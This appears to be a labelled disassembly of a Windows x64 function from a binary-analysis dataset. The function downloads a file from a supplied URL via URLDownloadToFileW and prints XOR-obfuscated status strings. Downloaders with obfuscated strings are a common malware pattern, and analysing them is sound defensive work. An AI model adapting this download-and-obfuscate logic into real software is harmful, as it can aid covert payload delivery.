Function at 0x14000a4a0
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
mov dword [rbp + 0x77], ebx
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test eax, eax
js 0x14000a5e9
mov dword [rbp + 7], 0x4e314e11
mov dword [rbp + 0xb], 0x4e044e3e
mov dword [rbp + 0xf], 0x4e0c4e08
mov dword [rbp + 0x13], 0x4e444e04
mov dword [rbp + 0x17], 0x4e0e4e11
mov dword [rbp + 0x1b], 0x4e484e02
mov dword [rbp + 0x1f], 0x4e114e2d
mov dword [rbp + 0x23], 0x4e7f4e12
mov dword [rbp + 0x27], 0x4e084e06
mov dword [rbp + 0x2b], 0x4e064e0e
mov dword [rbp + 0x2f], 0x4e4b4e4a
mov dword [rbp + 0x33], 0x4e6d4e48
lea rcx, [rbp - 0x19]
call fcn.140006b20
mov dword [rbp + 0x77], 2
lea edx, [rbx + 0x18]
lea rcx, [rbp - 0x19]
call fcn.140006970
movabs rdi, 0x4ec4ec4ec4ec4ec5
mov r14d, 0x4e5d
mov rax, rdi
mul rbx
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx eax, bx
sub ax, cx
add ax, r14w
xor ax, word [rbp + rbx*2 + 7]
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rbp - 0x19]
call fcn.140006a60
inc rbx
cmp rbx, 0x18
jb 0x14000a570
lea rcx, [rbp - 0x19]
call fcn.140005d60
mov rdx, rax
mov rcx, rsi
call fcn.1400078f0
lea rdx, [0x14000c720]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp - 0x19]
call fcn.140005de0
mov al, 1
jmp 0x14000a702
mov dword [rbp + 7], 0xa56fa54b
mov dword [rbp + 0xb], 0xa57ca566
mov dword [rbp + 0xf], 0xa576a574
mov dword [rbp + 0x13], 0xa560a533
mov dword [rbp + 0x17], 0xa536a57a
mov dword [rbp + 0x1b], 0xa577a573
mov dword [rbp + 0x1f], 0xa563a56e
mov dword [rbp + 0x23], 0xa560a562
mov dword [rbp + 0x27], 0xa575a571
mov dword [rbp + 0x2b], 0xa575a532
mov dword [rbp + 0x2f], 0xa579a57d
mov dword [rbp + 0x33], 0xa539a573
mov dword [rbp + 0x37], 0xa55ca538
mov dword [rbp + 0x3b], 0xa57ca57f
mov dword [rbp + 0x3f], 0xa562a560
mov dword [rbp + 0x43], 0xa532a52b
lea rcx, [rbp - 0x19]
call fcn.140006b20
mov dword [rbp + 0x77], 8
mov edx, 0x20
lea rcx, [rbp - 0x19]
call fcn.140006970
movabs rdi, 0x4ec4ec4ec4ec4ec5
mov r14d, 0x6ff
nop word [rax + rax]
mov rax, rdi
mul rbx
shr rdx, 2
lea eax, [r14 + rdx]
cwde
imul ecx, eax, 0xd
movzx eax, bx
sub ax, cx
xor ax, word [rbp + rbx*2 + 7]
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rbp - 0x19]
call fcn.140006a60
inc rbx
cmp rbx, 0x20
jb 0x14000a690
lea rcx, [rbp - 0x19]
call fcn.140005d60
mov rdx, rax
mov rcx, rsi
call fcn.1400078f0
lea rdx, [0x14000c720]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp - 0x19]
call fcn.140005de0
xor al, al
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret